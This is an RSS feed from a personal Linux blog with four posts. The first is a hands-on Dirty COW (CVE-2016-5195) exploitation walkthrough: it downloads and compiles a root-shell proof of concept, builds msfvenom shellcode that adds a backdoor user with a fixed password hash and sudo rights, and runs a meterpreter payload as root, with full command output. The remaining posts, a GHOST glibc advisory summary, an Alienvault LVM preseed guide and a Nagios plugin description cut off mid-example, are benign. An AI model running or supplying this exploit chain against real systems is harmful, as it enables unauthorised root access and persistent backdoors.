<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>TomsBlog</title>
    <link>http://www.toms-blog.com/tags/linux/index.xml</link>
    <description>Recent content on TomsBlog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-uk</language>
    <atom:link href="http://www.toms-blog.com/tags/linux/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>Linux Kernel Dirty COW exploit POC examples</title>
      <link>http://www.toms-blog.com/post/dirty-cow-exploit-poc-example/</link>
      <pubDate>Mon, 24 Oct 2016 22:17:42 +0000</pubDate>
      
      <guid>http://www.toms-blog.com/post/dirty-cow-exploit-poc-example/</guid>
      <description>

&lt;p&gt;Dirty COW (CVE-2016-5195) is the latest vulnerability to be given a brand and is being dubbed the biggest privilege escalation vulnerability to date on Linux.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;http://www.toms-blog.com/images/posts/dirty-cow/dc.jpg&#34; alt=&#34;Dirty Cow Logo&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://dirtycow.ninja/&#34;&gt;https://dirtycow.ninja/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The reason for all the hype is because of the amount of devices the vulnerability affects as it has been in the linux kernel since 2.6.22 (2007) and is easily exploitable reliably.
That&amp;rsquo;s enough of the background info, follow the link above if you want to learn more.&lt;/p&gt;

&lt;p&gt;The following example uses this exploit code &lt;a href=&#34;https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679&#34;&gt;https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679&lt;/a&gt; which basically uses the vulnerability to overwrite the /usr/bin/passwd binary with our binary and then runs it. This runs our injected code as root due to the original binary having SUID set.&lt;/p&gt;

&lt;p&gt;When running any of the POC&amp;rsquo;s available you will first need to turn &amp;ldquo;dirty_writeback_centisecs&amp;rdquo; off otherwise the kernel becomes unstable and crashes.&lt;/p&gt;

&lt;p&gt;If you just want a root shell then you can just download, compile and run the above code to give you a bash shell.&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
gcc -pthread cowroot.c -o cowroot
./cowroot

&lt;span style=&#34;color: #336666&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color: #FF6600&#34;&gt;0&lt;/span&gt; &amp;gt; /proc/sys/vm/dirty_writeback_centisecs
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The gcc command will give you warnings which can be ignored.&lt;/p&gt;

&lt;p&gt;The above gives us a stable shell where we can access any file we want.&lt;/p&gt;

&lt;p&gt;The shellcode this exploit injects can be changed to perform other tasks&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add users&lt;/li&gt;
&lt;li&gt;Get users hash&lt;/li&gt;
&lt;li&gt;Add users to sudoers&lt;/li&gt;
&lt;li&gt;Run meterpreter shells&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The shell code can be created using msfvenom, the below creates shellcode which will add a new user and then add that user to sudoers.&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;msfvenom -p linux/x64/exec &lt;span style=&#34;color: #003333&#34;&gt;CMD&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color: #CC3300&#34;&gt;&amp;quot;echo 0 &amp;gt; /proc/sys/vm/dirty_writeback_centisecs; useradd test2 -m -s /bin/bash; sed  &amp;#39;s/test2.*:/test2:\$6\$TS7FNSkg\$tWUYOc5OWNe9bNMTdhXvzC2YSgkQsB\/pfumVfCbtCr6aRF3EurkF0liJkn0el34HgyAHXSjN\/ctQTLLmt56jb.:17098:0:99999:7:::/m&amp;#39; -i /etc/shadow; echo \&amp;quot;test2   ALL=(ALL:ALL) ALL\&amp;quot; &amp;gt;&amp;gt; /etc/sudoers.d/test; chown root.root /etc/sudoers.d/test;&amp;quot;&lt;/span&gt; &lt;span style=&#34;color: #003333&#34;&gt;PrependSetuid&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;True -f elf | xxd -i

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: &lt;span style=&#34;color: #FF6600&#34;&gt;383&lt;/span&gt; bytes

  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xf7, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0x03, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x50, 0x01, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x30, 0x20, 0x3e,
  0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76,
  0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74,
  0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73,
  0x65, 0x63, 0x73, 0x3b, 0x20, 0x75, 0x73, 0x65, 0x72, 0x61, 0x64, 0x64,
  0x20, 0x74, 0x65, 0x73, 0x74, 0x32, 0x20, 0x2d, 0x6d, 0x20, 0x2d, 0x73,
  0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x3b, 0x20,
  0x73, 0x65, 0x64, 0x20, 0x20, 0x27, 0x73, 0x2f, 0x74, 0x65, 0x73, 0x74,
  0x32, 0x2e, 0x2a, 0x3a, 0x2f, 0x74, 0x65, 0x73, 0x74, 0x32, 0x3a, 0x24,
  0x36, 0x24, 0x54, 0x53, 0x37, 0x46, 0x4e, 0x53, 0x6b, 0x67, 0x24, 0x74,
  0x57, 0x55, 0x59, 0x4f, 0x63, 0x35, 0x4f, 0x57, 0x4e, 0x65, 0x39, 0x62,
  0x4e, 0x4d, 0x54, 0x64, 0x68, 0x58, 0x76, 0x7a, 0x43, 0x32, 0x59, 0x53,
  0x67, 0x6b, 0x51, 0x73, 0x42, 0x5c, 0x2f, 0x70, 0x66, 0x75, 0x6d, 0x56,
  0x66, 0x43, 0x62, 0x74, 0x43, 0x72, 0x36, 0x61, 0x52, 0x46, 0x33, 0x45,
  0x75, 0x72, 0x6b, 0x46, 0x30, 0x6c, 0x69, 0x4a, 0x6b, 0x6e, 0x30, 0x65,
  0x6c, 0x33, 0x34, 0x48, 0x67, 0x79, 0x41, 0x48, 0x58, 0x53, 0x6a, 0x4e,
  0x5c, 0x2f, 0x63, 0x74, 0x51, 0x54, 0x4c, 0x4c, 0x6d, 0x74, 0x35, 0x36,
  0x6a, 0x62, 0x2e, 0x3a, 0x31, 0x37, 0x30, 0x39, 0x38, 0x3a, 0x30, 0x3a,
  0x39, 0x39, 0x39, 0x39, 0x39, 0x3a, 0x37, 0x3a, 0x3a, 0x3a, 0x2f, 0x6d,
  0x27, 0x20, 0x2d, 0x69, 0x20, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x73, 0x68,
  0x61, 0x64, 0x6f, 0x77, 0x3b, 0x20, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x22,
  0x74, 0x65, 0x73, 0x74, 0x32, 0x20, 0x20, 0x20, 0x41, 0x4c, 0x4c, 0x3d,
  0x28, 0x41, 0x4c, 0x4c, 0x3a, 0x41, 0x4c, 0x4c, 0x29, 0x20, 0x41, 0x4c,
  0x4c, 0x22, 0x20, 0x3e, 0x3e, 0x20, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x73,
  0x75, 0x64, 0x6f, 0x65, 0x72, 0x73, 0x2e, 0x64, 0x2f, 0x74, 0x65, 0x73,
  0x74, 0x3b, 0x20, 0x63, 0x68, 0x6f, 0x77, 0x6e, 0x20, 0x72, 0x6f, 0x6f,
  0x74, 0x2e, 0x72, 0x6f, 0x6f, 0x74, 0x20, 0x2f, 0x65, 0x74, 0x63, 0x2f,
  0x73, 0x75, 0x64, 0x6f, 0x65, 0x72, 0x73, 0x2e, 0x64, 0x2f, 0x74, 0x65,
  0x73, 0x74, 0x3b, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;We need the HEX code so copy the above and edit cowroot.c&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; this is compiled for x86_64 so will not work on 32bit installations.&lt;/p&gt;

&lt;p&gt;Change sc array to equal the above shell code and then change sc_len to equal the length of the above shell code in this case its 503.&lt;/p&gt;

&lt;p&gt;As stated above this will create a new user and add them to sudoers. Sudoers configuration does not currently persist through a reboot and syncing writes to disk crashes the server.&lt;/p&gt;

&lt;p&gt;Perform the previous steps to compile the code and run it. You can then use &amp;ldquo;test2&amp;rdquo; user account using password &amp;ldquo;test01&amp;rdquo;, to change this password you&amp;rsquo;ll need to change the hash in the shadow file or in the shell code.&lt;/p&gt;

&lt;h2 id=&#34;using-meterpreter&#34;&gt;Using Meterpreter&lt;/h2&gt;

&lt;p&gt;Instead of creating a user we can create a meterpreter payload and use dirty cow to run it as root.
First we need to create the meterpreter payload again using msfvenom:&lt;/p&gt;

&lt;p&gt;&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;msfvenom -p linux/x86/meterpreter/bind_tcp -f elf -o meterpreter
&lt;/pre&gt;&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;Copy this new binary to your target, in my case i just coped it to the test account home space I was using above.
We now need to generate the payload to put in the above cowroot, using the same payload we will just change the commands:&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;msfvenom -p linux/x86/exec -f elf &lt;span style=&#34;color: #003333&#34;&gt;PrependSetuid&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;True &lt;span style=&#34;color: #003333&#34;&gt;CMD&lt;/span&gt;&lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color: #CC3300&#34;&gt;&amp;quot;echo 0 &amp;gt; /proc/sys/vm/dirty_writeback_centisecs; /home/test/./meterpreter &amp;amp;&amp;quot;&lt;/span&gt; | xxd -i
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: &lt;span style=&#34;color: #FF6600&#34;&gt;118&lt;/span&gt; bytes

  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xca, 0x00, 0x00, 0x00,
  0x40, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x4c, 0x00, 0x00, 0x00,
  0x65, 0x63, 0x68, 0x6f, 0x20, 0x30, 0x20, 0x3e, 0x20, 0x2f, 0x70, 0x72,
  0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x69,
  0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x62, 0x61, 0x63,
  0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x63, 0x73, 0x3b,
  0x20, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x74, 0x65, 0x73, 0x74, 0x2f,
  0x2e, 0x2f, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x70, 0x72, 0x65, 0x74, 0x65,
  0x72, 0x20, 0x26, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Compile and run as above and we can then connect to the meterpreter using msfconsole:&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;msf &amp;gt; use multi/handler
msf exploit&lt;span style=&#34;color: #555555&#34;&gt;(&lt;/span&gt;handler&lt;span style=&#34;color: #555555&#34;&gt;)&lt;/span&gt; &amp;gt; &lt;span style=&#34;color: #336666&#34;&gt;set&lt;/span&gt; payload linux/x86/meterpreter/bind_tcp
&lt;span style=&#34;color: #003333&#34;&gt;payload&lt;/span&gt; &lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;&amp;gt; linux/x86/meterpreter/bind_tcp
msf exploit&lt;span style=&#34;color: #555555&#34;&gt;(&lt;/span&gt;handler&lt;span style=&#34;color: #555555&#34;&gt;)&lt;/span&gt; &amp;gt; show options

Module options &lt;span style=&#34;color: #555555&#34;&gt;(&lt;/span&gt;exploit/multi/handler&lt;span style=&#34;color: #555555&#34;&gt;)&lt;/span&gt;:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options &lt;span style=&#34;color: #555555&#34;&gt;(&lt;/span&gt;linux/x86/meterpreter/bind_tcp&lt;span style=&#34;color: #555555&#34;&gt;)&lt;/span&gt;:

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  &lt;span style=&#34;color: #FF6600&#34;&gt;0&lt;/span&gt;                no        Debugging options &lt;span style=&#34;color: #006699; font-weight: bold&#34;&gt;for&lt;/span&gt; POSIX meterpreter
   LPORT         &lt;span style=&#34;color: #FF6600&#34;&gt;4444&lt;/span&gt;             yes       The listen port
   RHOST                          no        The target address


Exploit target:

   Id  Name
   --  ----
   &lt;span style=&#34;color: #FF6600&#34;&gt;0&lt;/span&gt;   Wildcard Target


msf exploit&lt;span style=&#34;color: #555555&#34;&gt;(&lt;/span&gt;handler&lt;span style=&#34;color: #555555&#34;&gt;)&lt;/span&gt; &amp;gt; &lt;span style=&#34;color: #336666&#34;&gt;set&lt;/span&gt; RHOST 192.168.57.10
&lt;span style=&#34;color: #003333&#34;&gt;RHOST&lt;/span&gt; &lt;span style=&#34;color: #555555&#34;&gt;=&lt;/span&gt;&amp;gt; 192.168.57.10
msf exploit&lt;span style=&#34;color: #555555&#34;&gt;(&lt;/span&gt;handler&lt;span style=&#34;color: #555555&#34;&gt;)&lt;/span&gt; &amp;gt; exploit

&lt;span style=&#34;color: #555555&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color: #555555&#34;&gt;]&lt;/span&gt; Started &lt;span style=&#34;color: #336666&#34;&gt;bind&lt;/span&gt; handler
&lt;span style=&#34;color: #555555&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color: #555555&#34;&gt;]&lt;/span&gt; Starting the payload handler...
&lt;span style=&#34;color: #555555&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color: #555555&#34;&gt;]&lt;/span&gt; Transmitting intermediate stager &lt;span style=&#34;color: #006699; font-weight: bold&#34;&gt;for&lt;/span&gt; over-sized stage...&lt;span style=&#34;color: #555555&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color: #FF6600&#34;&gt;105&lt;/span&gt; bytes&lt;span style=&#34;color: #555555&#34;&gt;)&lt;/span&gt;
&lt;span style=&#34;color: #555555&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color: #555555&#34;&gt;]&lt;/span&gt; Sending stage &lt;span style=&#34;color: #555555&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color: #FF6600&#34;&gt;1495598&lt;/span&gt; bytes&lt;span style=&#34;color: #555555&#34;&gt;)&lt;/span&gt; to 192.168.57.10
&lt;span style=&#34;color: #555555&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color: #555555&#34;&gt;]&lt;/span&gt; Meterpreter session &lt;span style=&#34;color: #FF6600&#34;&gt;1&lt;/span&gt; opened &lt;span style=&#34;color: #555555&#34;&gt;(&lt;/span&gt;192.168.57.11:42828 -&amp;gt; 192.168.57.10:4444&lt;span style=&#34;color: #555555&#34;&gt;)&lt;/span&gt; at 2016-11-06 15:40:54 +0000
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;You should now have a meterpreter shell as root.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>GHOST glibc vulnerability CVE-2015-0235</title>
      <link>http://www.toms-blog.com/post/ghost-glibc-vulnerability-cve-2015-0235/</link>
      <pubDate>Sat, 31 Jan 2015 12:26:56 +0000</pubDate>
      
      <guid>http://www.toms-blog.com/post/ghost-glibc-vulnerability-cve-2015-0235/</guid>
      <description>

&lt;p&gt;A new dangerous and wide spread vulnerability has been found in the GNU C Library (glib) and has been nicknamed GHOST after the function that is affected, the real name for this is CVE-2015-0235.&lt;/p&gt;

&lt;p&gt;The work carried out by Qualys (&lt;a href=&#34;https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability&#34;&gt;https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability&lt;/a&gt;) has found that certain functions in the library are vulnerable to a buffer overflow attack giving the attacker full remote access to the victim.&lt;/p&gt;

&lt;p&gt;“During a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname&lt;em&gt;() functions. Applications have access to the DNS resolver primarily through the gethostbyname&lt;/em&gt;() set of functions. These functions convert a hostname into an IP address.”&lt;/p&gt;

&lt;p&gt;Its worth noting that these functions are not used for IPv6 and so this vulnerability only affects systems running IPv4. The library is only used on Linux as well so Windows and Mac OS are not affected.&lt;/p&gt;

&lt;p&gt;Since glibc is used on a lot of linux systems this problem is widespread but the saving grace may be that it doesn’t affect all the software that use these libraries.&lt;/p&gt;

&lt;h2 id=&#34;affected-software&#34;&gt;Affected Software&lt;/h2&gt;

&lt;p&gt;Some of the software the Qualys team found not to be vulnerable are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Apache&lt;/li&gt;
&lt;li&gt;mariadb/mysql&lt;/li&gt;
&lt;li&gt;nfs-utils&lt;/li&gt;
&lt;li&gt;openldap&lt;/li&gt;
&lt;li&gt;openSSH&lt;/li&gt;
&lt;li&gt;postfix&lt;/li&gt;
&lt;li&gt;pure-ftpd&lt;/li&gt;
&lt;li&gt;Samba&lt;/li&gt;
&lt;li&gt;Sendmail&lt;/li&gt;
&lt;li&gt;tcp_wrappers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One of the major pieces of software that is affected is Exim4 and should be patched immediately as Qualys have a working exploit which they will be releasing.&lt;/p&gt;

&lt;p&gt;There are lots of other software that this affects but most distributions have released a fix for this so regardless if you think you’re vulnerable its best just to patch to make sure you aren’t.&lt;/p&gt;

&lt;p&gt;If you do patch don’t forget to restart any affected software or best of all reboot the system to ensure all affected applications are restarted.&lt;/p&gt;

&lt;h2 id=&#34;distro-links&#34;&gt;Distro Links&lt;/h2&gt;

&lt;p&gt;RedHat – &lt;a href=&#34;https://access.redhat.com/security/cve/CVE-2015-0235&#34;&gt;https://access.redhat.com/security/cve/CVE-2015-0235&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Debian – &lt;a href=&#34;https://security-tracker.debian.org/tracker/CVE-2015-0235&#34;&gt;https://security-tracker.debian.org/tracker/CVE-2015-0235&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ubuntu – &lt;a href=&#34;http://www.ubuntu.com/usn/usn-2485-1/&#34;&gt;http://www.ubuntu.com/usn/usn-2485-1/&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Alienvault LVM partitioning</title>
      <link>http://www.toms-blog.com/post/alienvault-lvm-partitioning/</link>
      <pubDate>Wed, 23 Apr 2014 22:15:22 +0000</pubDate>
      
      <guid>http://www.toms-blog.com/post/alienvault-lvm-partitioning/</guid>
      <description>

&lt;p&gt;Alienvault by default installs just one partition and in some cases errors on some installations, by editing the preseed file you can split the partitioning up with LVM  and avoid any errors.&lt;/p&gt;

&lt;p&gt;Best practice is to split up the filesystem in to separate sections so filling up /var does not corrupt the main root partition, doing this with LVM allows you to add extra disks later on.&lt;/p&gt;

&lt;p&gt;As Alienvault can store a lot of data, utilising LVM is extremely useful so you can expand your partitions on the fly later on.&lt;/p&gt;

&lt;p&gt;The Alienvault setup by default puts everything on just the root partition and doesn’t use LVM, this isn’t the best set up for expansion later on and makes its really difficult if you run out of disk space later on. Not only this but the install also doesn’t seem to play nicely with VMWare and some physical servers and produces the error “no root filesystem defined” see here. Luckily Alienvault is built on Debian so we can change the preseed file to automatically format the disk using LVM.&lt;/p&gt;

&lt;p&gt;For the main USM server the preseed file is “/simple-cdd/defaultA.preseed” so we need to edit the partman section from line 38 to 127 just before the Bootloader section. We can then place the following in its place:&lt;/p&gt;

&lt;h2 id=&#34;preseed-file&#34;&gt;Preseed File&lt;/h2&gt;

&lt;div class=&#34;box&#34;&gt;
&lt;h3 id=&#34;partitioning&#34;&gt;Partitioning.&lt;/h3&gt;

&lt;p&gt;d-i partman-auto/choose_recipe select boot-root&lt;/p&gt;

&lt;p&gt;d-i partman-auto/disk string /dev/sda&lt;/p&gt;

&lt;p&gt;d-i partman-auto/method string lvm&lt;/p&gt;

&lt;p&gt;d-i partman-lvm/device_remove_lvm boolean true&lt;/p&gt;

&lt;p&gt;d-i partman-md/device_remove_md boolean true&lt;/p&gt;

&lt;p&gt;d-i partman-auto-lvm/no_boot boolean true&lt;/p&gt;

&lt;p&gt;d-i partman-auto-lvm/new_vg_name string vg_VolumeGroup01&lt;/p&gt;

&lt;p&gt;d-i partman-auto/expert_recipe string \&lt;br /&gt;
boot-root :: \&lt;br /&gt;
2048 2048 2048 linux-swap method{ swap } \&lt;br /&gt;
format{ } $lvmok{ } lv_name{ lv_swap } \&lt;br /&gt;
. \&lt;br /&gt;
5120 5120 5120 ext4 method{ lvm } \&lt;br /&gt;
$lvmok{ } mountpoint{ /var } lv_name{ lv_var } \&lt;br /&gt;
format{ } use_filesystem{ } filesystem{ ext4 } \&lt;br /&gt;
. \&lt;br /&gt;
5120 5120 5120 ext4 method{ lvm } \&lt;br /&gt;
$lvmok{ } mountpoint{ /home } lv_name{ lv_home } \&lt;br /&gt;
format{ } use_filesystem{ } filesystem{ ext4 } \&lt;br /&gt;
. \&lt;br /&gt;
8192 8192 8192 ext4 method{ lvm } \&lt;br /&gt;
$lvmok{ } mountpoint{ /usr } lv_name{ lv_usr } \&lt;br /&gt;
format{ } use_filesystem{ } filesystem{ ext4 } \&lt;br /&gt;
. \&lt;br /&gt;
1 10240 10000000000 ext4 method{ lvm } \&lt;br /&gt;
$lvmok{ } mountpoint{ / } lv_name{ lv_root } \&lt;br /&gt;
format{ } use_filesystem{ } filesystem{ ext4 } \&lt;br /&gt;
.&lt;/p&gt;

&lt;p&gt;d-i partman-lvm/confirm_nooverwrite boolean true&lt;/p&gt;

&lt;p&gt;d-i partman-lvm/confirm boolean true&lt;/p&gt;

&lt;p&gt;d-i partman-partitioning/confirm_write_new_label boolean true&lt;/p&gt;

&lt;p&gt;d-i partman/choose_partition select Finish&lt;/p&gt;

&lt;p&gt;d-i partman/confirm_nooverwrite boolean true&lt;/p&gt;

&lt;p&gt;d-i partman/confirm boolean true&lt;/p&gt;

&lt;/div&gt;

&lt;p&gt;Partitions&lt;/p&gt;

&lt;p&gt;The above creates a volume group called vg_VolumeGroup01 on /dev/sda, it then creates 4 partitions with ext4 filesystems and a 5th partition for swap. Partition sizes will editing depending on the size of your disk or needs.&lt;/p&gt;

&lt;p&gt;So the following partitions are made:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;swap 2GB&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;/var 5GB&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;/home 5GB&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;/usr 8GB&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;/ Take up the rest of the filesystem&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rest of the options basically just make it so there is no prompt and the disk will be overwritten so be careful. You may also want to set the root to use a specific amount and for /var to take the rest as it will be the most heavily utilised.&lt;/p&gt;

&lt;p&gt;Once you have edited this file save it to somewhere, you can then use an ISO editor to either upload the preseed file to a new file or overwrite the original.&lt;/p&gt;

&lt;p&gt;If just adding the file back to the ISO with a seperate name you will need to press TAB and edit the grub command and set the preseed file to the correct place as below:&lt;/p&gt;

&lt;p&gt;Alienvault Change Preseed File&lt;/p&gt;

&lt;p&gt;There is also a preseed file for  Sensor installation as well which is stored in “/simple-cdd/defaultB.preseed” you can follow the same procedure as above.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Check a process cpu and memory with Nagios</title>
      <link>http://www.toms-blog.com/post/check-a-process-cpu-and-memory-with-nagios/</link>
      <pubDate>Sat, 18 Jan 2014 19:48:11 +0000</pubDate>
      
      <guid>http://www.toms-blog.com/post/check-a-process-cpu-and-memory-with-nagios/</guid>
      <description>

&lt;p&gt;A check plugin for Nagios to monitor processes and their utilization of system resources.&lt;/p&gt;

&lt;a target=&#34;_blank&#34; href=&#34;https://github.com/thomasweaver/check_cpu_proc&#34;&gt;https://github.com/thomasweaver/check_cpu_proc &lt;/a&gt;

&lt;p&gt;This plugin takes in a process name and then uses the command ps to work out how much memory and cpu all the processes of that name are taking up in percentage. It will output performance data for CPU Usage Percentage, Memory Usage Percentage, VSZ, RSS and the number of processes of that name.&lt;/p&gt;

&lt;h2 id=&#34;options&#34;&gt;Options&lt;/h2&gt;

&lt;p&gt;Only the -p option is required all other options are optional.&lt;/p&gt;

&lt;p&gt;-p allows you to specify the name of the process you want to monitor (REQUIRED)&lt;/p&gt;

&lt;p&gt;-w specify a warning for CPU percentage utilization&lt;/p&gt;

&lt;p&gt;-c specify a critical for CPU percentage utilization&lt;/p&gt;

&lt;p&gt;-m specify a warning for Memory percentage utilization&lt;/p&gt;

&lt;p&gt;-n specify a critical fro Memory percentage utilization&lt;/p&gt;

&lt;h2 id=&#34;examples&#34;&gt;Examples&lt;/h2&gt;

&lt;p&gt;To monitor the apache processes and warn when the CPU uses over 20% and critical when over 30%&lt;/p&gt;

&lt;div class=&#34;highlight&#34; style=&#34;background: #f0f3f3&#34;&gt;&lt;pre style=&#34;line-height: 125%&#34;&gt;&lt;span&gt;&lt;/span&gt;./check_cpu_proc.sh -p apache -w &lt;span style=&#34;color: #FF6600&#34;&gt;20&lt;/span&gt; -c 30

